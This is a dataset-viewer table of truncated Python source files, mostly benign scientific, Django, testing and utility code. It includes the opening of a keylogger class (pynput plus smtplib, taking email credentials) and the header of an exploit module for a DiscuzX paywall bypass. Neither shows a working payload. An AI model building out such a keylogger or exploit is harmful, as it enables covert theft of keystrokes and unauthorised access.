text stringlengths 1 927k |
|---|
from __future__ import print_function
from netCDF4 import Dataset
import netCDF4
import numpy as np
import os
import sys
import ConfigParser
import math
from scipy.interpolate import griddata
from create_forcing import create_scrip_grid_file, get_mpas_grid_info, create_scrip_file_MPAS, write_scrip_in_file, create_outpu... |
#!/usr/bin/env python2
# Copyright 2018 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
'''Control file for the following tests
rb_protection.py
'''
from __future__ import print_function
import os
import shutil
im... |
from PyPDF2 import PdfFileMerger
import operator
import os
def fileMerge(district, sorted_fileDict):
'''Creates a list of files to be exported for each district'''
print "Creating Bound PDF for %s District" % district
# Add path to the individual sample sheets
sampleSheetPath = "T:\\DATAMGT\\HPMS-DATA... |
import os
from collections import OrderedDict
import sys
fil = open('energy.xvg').readlines()
GMX_dat = [float(f)/4.184 for f in fil[-1].split()[1:-1]]
nfil = open('LOG_NAMD').readlines()
for line in nfil:
if 'ENERGY: 200' in line:
NAMD_DAT = [float(f) for f in line.split()[2:12]]
print(NAMD_DAT)
p... |
from django.db.models import Sum
from rest_framework import serializers
from like.models import Like
from .models import Comment
from accounts.serializers import UserSerializer
class CommentSerializer(serializers.ModelSerializer):
owner = UserSerializer(read_only=True)
like = serializers.SerializerMethodField()
d... |
# Copyright (c) 2015 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
'''
Dummy Socks5 server for testing.
'''
from __future__ import print_function, division, unicode_literals
import socket, threading, Q... |
import os
import click
import sys
import logging
from .batch_manager import BatchManager, Job
from .config_json_parser import ClpipeConfigParser
from .error_handler import exception_handler
@click.command()
@click.argument('subjects', nargs=-1, required=False, default=None)
@click.option('-config_file', type=click.Pa... |
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8:
# Author: Binux<i@binux.me>
# http://binux.me
# Created on 2014-08-07 22:27:07
import time
import config
from .basedb import BaseDB
class TPLDB(BaseDB):
'''
tpl db
id, userid, siteurl, sitename, banne... |
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not... |
import json
from utils import *
from config import args
from train import train
from torch.utils.tensorboard import SummaryWriter
if __name__ == '__main__':
set_seed(args.seed)
series = []
if args.dataset == 'pubmed':
graphs, features, adjs, labels = load_pubmed_data({
'deg_num': args.... |
import requests, json
import camping_server2.config as config
class IncomingWebhook:
def send_msg(err_msg):
payload = {"channel": "dss17", "username": "bot", "text": err_msg}
response = requests.post(config.Config.WEBHOOK_URL, json.dumps(payload))
print(response) |
import sys
import pylibvw
class SearchTask():
def __init__(self, vw, sch, num_actions):
self.vw = vw
self.sch = sch
self.blank_line = self.vw.example("")
self.blank_line.finish()
self.bogus_example = self.vw.example("1 | x")
def __del__(self):
self.bogus_example... |
from expungeservice.models.disposition import DispositionCreator
from expungeservice.record_merger import RecordMerger
from expungeservice.record_summarizer import RecordSummarizer
from expungeservice.expunger import Expunger
from expungeservice.models.record import Record
from tests.factories.case_factory import CaseF... |
"""
@see: test_consoleui.py
""" |
"""
@Author : xiaotao
@Email : 18773993654@163.com
@Lost modifid : 2020/4/24 10:06
@Filename : urls.py
@Description :
@Software : PyCharm
"""
from django.urls import path
from sf_file.views import file_management
urlpatterns = [
path("test", file_management.Test.as_view()), ... |
"""
Interface to the config_machines.xml file. This class inherits from GenericXML.py
"""
from CIME.XML.standard_module_setup import *
from CIME.XML.generic_xml import GenericXML
from CIME.XML.files import Files
from CIME.utils import convert_to_unknown_type, get_cime_config
import socket
logger = logging.getLogger(... |
#!/usr/bin/env python3
# Copyright (c) 2014-2019 The Starwels developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test the invalidateblock RPC."""
from test_framework.test_framework import StarwelsTestFramework
from test... |
#!/usr/bin/env python3
#
# This file is open source software, licensed to you under the terms
# of the Apache License, Version 2.0 (the "License"). See the NOTICE file
# distributed with this work for additional information regarding copyright
# ownership. You may not use this file except in compliance with the Licen... |
from portfolios.factories.skill_factory import create_skills_with_factory
from django.db import transaction
from django.core.management.base import BaseCommand
class Command(BaseCommand):
help = "Generates dummy data"
def _generate_dummy_data(self):
# Create dummy data
create_skills_with_fact... |
from django.db import transaction
from django.http import JsonResponse
from rest_framework import status
from rest_framework.views import APIView
from api.applications.libraries.document_helpers import (
upload_application_document,
delete_application_document,
get_application_document,
upload_goods_ty... |
import bpy
import math
import mathutils
from os import listdir
from os.path import isfile, join
from . raytracer import sensor_position_for_distance
from . import calc
from . import create
from . import data
# ------------------------------------------------------------------------
# Helper functions
# ---------... |
from setuptools import setup, find_packages
import sys, os
version = '0.5.1'
setup(
name='ckanext-datajson',
version=version,
description="CKAN extension to generate /data.json",
long_description="""\
""",
classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers
keywords='',
a... |
"""Python interface to GenoLogics LIMS via its REST API.
Example usage: Set the name and a UDF of a sample.
Per Kraulis, Science for Life Laboratory, Stockholm, Sweden.
"""
from genologics.lims import *
# Login parameters for connecting to a LIMS instance.
from genologics.config import BASEURI, USERNAME, PASSWORD... |
import pandas as pd
from sklearn.model_selection import train_test_split
random_state = 100
data = pd.read_csv("~/headlinegen/data/nytime_front_page.csv")
data['title'] = data['title'].apply(lambda x: ' '.join(x.split(' ')[:-5]))
lens = data["content"].apply(lambda x: len(x.split(" "))).nlargest(10)
print(
f'm... |
import unittest
import sys
import os
import csv
import psycopg2
from pprint import pprint
sys.path.insert(0, '..')
from db_utils.pg_connect import pg_connect
config_file = 'databases.conf'
db = pg_connect('postgres', config_file)
table = 'test_table'
class test_pg_connect(unittest.TestCase):
def setUp(self):
... |
""" Performs LR analysis by grouping LR pairs which having hotspots across
similar tissues.
"""
from stlearn.pl import het_plot
from sklearn.cluster import DBSCAN, AgglomerativeClustering
from anndata import AnnData
from tqdm import tqdm
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import... |
# coding=utf-8
# Copyright 2018 The TF-Agents Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... |
"""Unify local and remote int8
Revision ID: 5bc9e9b6c3ff
Revises: 7f3c818591e1
Create Date: 2021-03-29 15:28:58.945918
"""
"""
OpenVINO DL Workbench
Migration: Unify local and remote int8
Copyright (c) 2021 Intel Corporation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this ... |
from django.conf import settings
from django.contrib.auth.models import AbstractUser
from django.db import models
from django.urls import reverse
from django.utils.translation import ugettext_lazy as _
class User(AbstractUser):
# WARNING!
"""
Some officially supported features of Crowdbotics Dashboard dep... |
from dataclasses import dataclass
from typing import List, Optional
from hddcoin.types.blockchain_format.proof_of_space import ProofOfSpace
from hddcoin.types.blockchain_format.reward_chain_block import RewardChainBlock
from hddcoin.types.blockchain_format.sized_bytes import bytes32
from hddcoin.types.blockchain_forma... |
from .models import Wallet;
from django.core.exceptions import ObjectDoesNotExist
def getWallet(phone_number):
"""
helper function check if wallet with phone number exists or not
"""
try:
walletobj=Wallet.objects.get(phone=phone_number);
return {"exists":True,"wallet":walletobj}
exce... |
# -*- coding: utf-8 -*-
# ---------------------------------------------------------------------
# ModelMapping model
# ---------------------------------------------------------------------
# Copyright (C) 2007-2019 The NOC Project
# See LICENSE for details
# -------------------------------------------------------------... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
fro... |
"""
Created by Adanna Akwataghibe (Github: AdannaAkwats)
"""
import argparse
from calendar import monthrange
from Extract import *
from Analysis import *
from WriteOutput import *
from plots import *
from utils import check_valid_order, check_analysis, check_variables_covary, print_end_statement
from calculate_indices ... |
# Copyright 2016 Hewlett Packard Enterprise Development, LP
#
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENS... |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may... |
import logging
import datetime
import urlparse
from django.core.exceptions import ValidationError
from django.db import models
from django.utils import timezone
from framework.auth import Auth
from framework.exceptions import PermissionsError
from osf.utils.fields import NonNaiveDateTimeField
from osf.exceptions impo... |
import numpy as np
import pandas as pd
import pandas.util.testing as tm
import pytest
from dask.dataframe.hashing import hash_pandas_object
from dask.dataframe.utils import assert_eq
@pytest.mark.parametrize('obj', [
pd.Series([1, 2, 3]),
pd.Series([1.0, 1.5, 3.2]),
pd.Series([1.0, 1.5, 3.2], index=[1.5... |
import numpy as np
import pandas as pd
def partition_images(df_labels, identifier_label=None, label_postfix='postfix', target_dir='./', filter_identity=[],
dev_portion=0.20, encoding_strategy='vgg19_4096'):
if np.size(filter_identity) == 0:
filter_identity = df_labels[identifier_label... |
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2017 Bogdan Cordier
#
# Distributed under terms of the MIT license.
import datetime
from icalendar import Calendar
from pytz import timezone
from dateutil.parser import parse
from tkinter import Tk, filedialog, Listbox, Button, Entry, Str... |
"""
Utility module to manipulate strings.
"""
import re
import types
__author__ = "Jenson Jose"
__email__ = "jensonjose@live.in"
__status__ = "Alpha"
class StringUtils:
"""
Utility class containing methods for manipulation of strings.
"""
def __init__(self):
pass
@staticmethod
def ... |
import math
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
import matplotlib.transforms as mtransforms
from mpl_toolkits.axes_grid.anchored_artists import AnchoredText
def setup_axes(diff=False):
fig = plt.figure()
axes = []
if diff:
gs = gridspec.GridSpec(2, 1, height_rati... |
def greater_than(x, y):
if x > y:
return True
else:
return False
a = 2
b = 3
result = greater_than(a, b)
print("{} is greater than {}: {}".format(a, b, result)) |
from django.contrib import admin
from django.db import models
from django.utils.text import slugify
from django.utils.translation import ugettext_lazy as _
class Tag(models.Model):
TYPE_CHOICES = [
('product', _('Product')),
('plan', _('Plan')),
('meal', _('Meal')),
]
name = model... |
#!/usr/bin/env python
"""Limits Example
Demonstrates limits.
"""
from sympy import exp, log, Symbol, Rational, sin, limit, sqrt, oo
def sqrt3(x):
return x ** Rational(1, 3)
def show(computed, correct):
print("computed:", computed, "correct:", correct)
def main():
x = Symbol("x")
show(limit(sqr... |
# coding=utf-8
#
import time
import copy
import pytest
import logging
import unittest
import threading
import concurrent.futures
from multiprocessing import Manager
from soocii_pubsub_lib import pubsub_client, sub_service
# ========== Initial Logger ==========
logging.basicConfig(
level=logging.DEBUG,
format=... |
#!/usr/bin/env python
# coding=utf-8
# Copyright 2021 The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LI... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# author: Vadász Noémi
# created: 2019/03/28
# feldolgozza a google spreadsheetsben annotált, előtte emtsv-vel elemzett korpuszfájlt
# bemenet
# csv (google spreadsheetsből importált)
# token, összes elemzés, tő, részletes címke, tag, helyes, javított tő, tokenizálás, ja... |
# See https://zulip.readthedocs.io/en/latest/subsystems/events-system.html for
# high-level documentation on how this system works.
import copy
import time
from typing import Any, Callable, Collection, Dict, Iterable, Optional, Sequence, Set
from django.conf import settings
from django.utils.translation import gettext... |
from gtts import gTTS
from playsound import playsound
audio="speech.mp3"
language='en'
sp=gTTS(text=input('ENTER YOUR TEXT: \n') ,lang=language, slow=False)
sp.save(audio)
playsound(audio) |
import copy
import pickle
import threading
import warnings
from collections import OrderedDict, defaultdict
from contextlib import ExitStack
import numpy as np
import pandas as pd
import tlz as toolz
from packaging.version import parse as parse_version
from dask.core import flatten
try:
import fastparquet
fr... |
# -*- coding: utf-8 -*-
"""
Created on Fri Oct 18 00:20:49 2019
@author: Asus
"""
import pynput.keyboard
import threading
import smtplib
class Keylogger:
def __init__(self,time_interval ,email ,password):
self.log ="keylogger started"
self.interval = time_interval
self.email=email
... |
from ..common import chdir, run
def reset(student: str):
with chdir(student):
run(['git', 'checkout', 'master', '--quiet', '--force']) |
import pbr.version
version_info = pbr.version.VersionInfo('nca47') |
'''
********
Lisa CLI
********
Installing LISA using pip or conda adds the "lisa" command to your path. LISA's functionality is divided into three main subcommands:
* `lisa oneshot`_ : one genelist
* `lisa multi`_ : multiple genelists
* `lisa regions`_ : one genelist and a list of regions
Which are used depending on... |
# SPDX-License-Identifier: MIT
# Copyright (C) 2018-present iced project and contributors
# ⚠️This file was generated by GENERATOR!🦹♂️
# pylint: disable=invalid-name
# pylint: disable=line-too-long
# pylint: disable=too-many-lines
"""
x86 instruction code
"""
INVALID: int = 0
"""
It's an invalid instruction, eg. ... |
# coding: utf-8
import pprint
import re
import six
from huaweicloudsdkcore.sdk_response import SdkResponse
class ShowCustomerOrderDetailsResponse(SdkResponse):
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribu... |
###############################################################################
#
# Tests for XlsxWriter.
#
# Copyright (c), 2013-2017, John McNamara, jmcnamara@cpan.org
#
import unittest
from ...compatibility import StringIO
from ...chartsheet import Chartsheet
class TestInitialisation(unittest.TestCase):
"""
... |
from __future__ import absolute_import
from .Node import Op
from .._base import DNNL_LIB
from ..cpu_links import matrix_elementwise_add_by_const as cpu_matrix_elementwise_add_by_const
from ..gpu_links import matrix_elementwise_add_by_const
class AddByConstOp(Op):
def __init__(self, node_A, const_val, ctx=None):
... |
# Copyright (c) Facebook, Inc. and its affiliates.
import importlib
import logging
import os
import pickle
import re
from collections import OrderedDict
from copy import deepcopy
from dataclasses import asdict, dataclass
from enum import Enum
from typing import Any
import torch
import torchvision
from mmf.common.regis... |
#!/bin/env python
# -*coding: UTF-8 -*-
"""
High level helper methods to load Argo data from any source
The facade should be able to work with all available data access point,
"""
import warnings
from argopy.options import OPTIONS, _VALIDATORS
from .errors import InvalidFetcherAccessPoint, InvalidFetcher
from .util... |
# Import all dependencies
import re, os, sys
from shutil import copyfile
def GetNewName(oldName, parameters):
"""if (not '.dll' in oldName
and not '.so' in oldName
and not '.eon' in oldName
):
raise ValueError()"""
pattern = r'([a-zA_Z_\.]+)([0-9]+)(.*)'
beginning = re.sub(p... |
from test.integration.base import DBTIntegrationTest
class SourceSchemaTest(DBTIntegrationTest):
def test_dependencies(self):
self.run_dbt(["run"])
results = self.run_dbthelper(["show_upstream", "d"])
self.assertTrue(len(results) == 5)
results = self.run_dbthelper(["show_downstream... |
from __future__ import absolute_import, division, print_function
import boost_adaptbx.boost.python as bp
ext = bp.import_ext( "scitbx_suffixtree_single_ext" )
from scitbx_suffixtree_single_ext import * |
import sys
import numpy as np
def main():
p = [30, 35, 15, 5, 10, 20, 25]
m, s = matrixChainOrder(p)
print('m')
for i in m:
print(i)
print('s')
for i in s:
print(i)
def matrixMultiply(A, B):
if A.shape[1] != B.shape[0]:
print('incompatible dimensions')
... |
from __future__ import absolute_import, division, print_function, unicode_literals
import datetime
import re
from nib import Document, Processor, before, document
dateregex = re.compile(r'(?P<year>\d\d\d\d)[-./](?P<month>\d\d)[-./](?P<day>\d\d)')
@before
class BlogDateProcessor(Processor):
def document(self, doc... |
# Vicfred & uninhm
# https://atcoder.jp/contests/abc178/tasks/abc178_c
# combinatorics
n = int(input())
mod = 10**9+7
print((pow(10, n, mod) - 2*pow(9, n, mod) + pow(8, n, mod)) % mod) |
# coding=utf-8
# Copyright 2018 The Google AI Language Team Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... |
"""
Django settings for visualisation_engine project.
Generated by 'django-admin startproject' using Django 3.1.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
f... |
def print_histogram(h):
dict = []
dict += sorted(h.keys())
for e in dict:
print(e, h[e])
spaghetti = {'s' : 1, 'p' : 1, 'a' : 1, 'g' : 1, 'h' : 1, 'e' : 1 ,'t' : 2 , 'i' : 1}
print_histogram(spaghetti) |
from django.test import LiveServerTestCase
from selenium import webdriver
from selenium.common.exceptions import WebDriverException
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import e... |
from tests.utils import assert_output
from tests.utils import wrap
from dexy.doc import Doc
FORTRAN_HELLO_WORLD = """program hello
print *, "Hello World!"
end program hello
"""
CPP_HELLO_WORLD = """#include <iostream>
using namespace std;
int main()
{
cout << "Hello, world!";
return 0;
}
"""
C_HELLO_WORLD = ... |
from .abstract import Vector, Point, Segment, Circle
from .anatomies import FormAnatomy
from .motion import Motion, Moment
from .material import Material
from .physics import Physics
from . import colors
from pygame.locals import *
from copy import deepcopy
import pygame
import logging
import copy
import random
import... |
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ap... |
# Copyright Materialize, Inc. and contributors. All rights reserved.
#
# Use of this software is governed by the Business Source License
# included in the LICENSE file at the root of this repository.
#
# As of the Change Date specified in that file, in accordance with
# the Business Source License, use of this software... |
"""Unit tests for platform/plant.py."""
from datetime import datetime, timedelta
import pytest
from homeassistant.components import recorder
import homeassistant.components.plant as plant
from homeassistant.const import (
ATTR_UNIT_OF_MEASUREMENT,
CONDUCTIVITY,
STATE_OK,
STATE_PROBLEM,
STATE_UNAVA... |
__all__ = ["gneb", "llg"]
from spirit.parameters import * |
from .ner_labels import NERLabels
from .ner_dataset import NERDataset
from .label_mapper import LabelMapper
from .dataset_tokenizer import DatasetTokenizer
__all__=["NERLabels", "NERDataset", "LabelMapper", "DatasetTokenizer"] |
import logging
from urllib.parse import urlsplit
import stripe
from django.conf import settings
from pretix.base.services.tasks import EventTask
from pretix.celery_app import app
from pretix.multidomain.urlreverse import get_event_domain
from pretix.plugins.stripe.models import RegisteredApplePayDomain
logger = logg... |
####################
# ES-DOC CIM Questionnaire
# Copyright (c) 2017 ES-DOC. All rights reserved.
#
# University of Colorado, Boulder
# http://cires.colorado.edu/
#
# This project is distributed according to the terms of the MIT license [http://www.opensource.org/licenses/MIT].
####################
from djan... |
# -*- encoding: utf-8 -*-
"""
Flask Boilerplate
Author: AppSeed.us - App Generator
"""
from flask import json
from app import app, db
from .common import *
# build a Json response
def response(data):
return app.response_class(response=json.dumps(data),
status=200,
... |
from typing import List
from arm_prosthesis.models.gesture_action import GestureAction
class Gesture:
def __init__(self, uuid: str, name: str, last_time_sync: int, iterable: bool, repetitions: int,
actions: List[GestureAction]):
self._uuid = uuid
self._name = name
self._l... |
## Thresholding = Giriş olarak verilen görüntüyü ikili görüntüye çevirmek için kullanılan bir yöntemdir. İkili görüntü (binary), görüntünün siyah ve beyaz olarak tanımlanmasıdır.
# Morfolojik operatörler gibi görüntü üzerindeki gürültüleri azaltmak veya nesne belirlemek gibi farklı amaçlar için kullanılır.
import cv2... |
import torch
from torch.utils.data import Dataset
from skimage import io, color, transform
import torchvision
import os, glob
import numpy as np
import random
from scipy import ndimage
from PIL import Image
import torch.nn.functional as F
from . import utils
###########################################################... |
# Copyright 2012 OpenStack Foundation
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# Copyright 2011,2012 Akira YOSHIYAMA <akirayoshiyama@gmail.com>
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "Lic... |
#!/usr/bin/env python
#-*- coding:utf-8 -*-
'''
Pentestdb, a database for penetration test.
Copyright (c) 2015 alpha1e0
'''
from pentest.libs.exploit import Exploit
from pentest.libs.exploit import Result
class DiscuzAB(Exploit):
expName = u"DiscuzX 3.2绕过虚拟币支付查看内容"
version = "1.0"
author = "alpha1e0"
... |
# 006_pycoingecko_intro
# explore pycoingecko usage
import json
from pprint import pprint
from pycoingecko import CoinGeckoAPI
cg = CoinGeckoAPI()
# Check API server status
ping = cg.ping()
pprint(ping)
# Get coin price
coin_price = cg.get_price(ids='bitcoin', vs_currencies='usd')
pprint(coin_price)
# Save all sup... |
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
import json
import os
from pathlib import Path
import sys
import string
import random
import time
import tempfile
import re
from subprocess import Popen, check_call, CalledProcessError, PIPE, STDOUT
from nni.experiment.config import ExperimentCon... |
"""
Support for ISY994 lights.
For more details about this platform, please refer to the documentation at
https://home-assistant.io/components/isy994/
"""
import logging
from homeassistant.components.isy994 import (
HIDDEN_STRING, ISY, SENSOR_STRING, ISYDeviceABC)
from homeassistant.components.light import ATTR_B... |
#from time import *
from grovepi import *
from paho.mqtt.client import *
buzzer = 3
pinMode(buzzer, "OUTPUT")
MQTT_BROKER = "192.168.56.1" #The ip address will be vary based on where and how you connect to the Internet
#MQTT_BROKER = "broker.emqx.io" #using public mqtt broker to act as subsriber
MQTT_TOPIC = "test"
... |
'''
the following import is only necessary because eip is not in this directory
'''
import sys
sys.path.append('..')
'''
The simplest example of writing a tag from a PLC
NOTE: You only need to call .Close() after you are done exchanging
data with the PLC. If you were going to read/write in a loop or read/write
more... |
"""app URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based vie... |
# -*- coding: utf-8 -*-
"""
Created on Mon Apr 15 15:37:49 2019
@author: jercas
"""
"""
leetcode-115: 不同的子序列 HARD
'动态规划' '字符串'
给定一个字符串 S 和一个字符串 T,计算在 S 的子序列中 T 出现的个数。
一个字符串的一个子序列是指,通过删除一些(也可以不删除)字符且不干扰剩余字符相对位置所组成的新字符串。
(例如,"ACE" 是 "ABCDE" 的一个子序列,而 "AEC" 不是)
___ 0
... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# === About ============================================================================================================
"""
science.py
Copyright © 2017 Yuto Mizutani.
This software is released under the MIT License.
Version: 1.0.0
TranslateAuthors: Yuto Mizutani
E-mail: ... |
from flask import Flask, render_template, url_for, request, redirect, session
from flask_sqlalchemy import SQLAlchemy
import uuid
import wave
from flask_socketio import emit, SocketIO
from datetime import datetime
import database_custom
import os
# Set this variable to "threading", "eventlet" or "gevent" to test the... |
class car:
__topspeed = 0
__name=""
def __init__(self):
self.__topspeed=250
self.name="SAM"
def drive(self):
print("Drive Top Speed=" +str(self.__topspeed))
def setTopSpeed(self,speed):
self.__topspeed=speed
volvo=car()
volvo.drive()
volvo.setTopSpeed(380)
volvo.dr... |
from datetime import datetime, timedelta
import json, requests, time, sys, uuid
from copy import deepcopy
from octopus.core import app
from octopus.lib import http
class RequestState(object):
_timestamp_format = "%Y-%m-%dT%H:%M:%SZ"
def __init__(self, identifiers, timeout=None, back_off_factor=None, max_back_... |
import os
import pickle
import numpy
import antimony
import roadrunner
import rrplugins
import sys
roadrunner.Logger.setLevel(roadrunner.Logger.LOG_ERROR)
roadrunner.Logger.disableLogging()
roadrunner.Logger.disableConsoleLogging()
roadrunner.Logger.disableFileLogging()
rrplugins.setLogLevel('error')
stderr_fileno = ... |
from typing import Any, Dict, Iterable, List, Optional, Union
from resolvelib import AbstractProvider
from resolvelib.resolvers import RequirementInformation
from pdm.models.candidates import Candidate
from pdm.models.repositories import BaseRepository
from pdm.models.requirements import Requirement
from pdm.models.s... |
#!/usr/local/bin/python3
"""Count the number of different words in a text."""
text = """\
Baa, Baa, Black sheep,
Have you any wool?
Yes sir, yes sir,
Three bags full;
One for the master,
And one for the dame,
And one for the little boy
Who lives down the lane."""
for punc in ",?;.":
text = text.replace(punc, "")
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.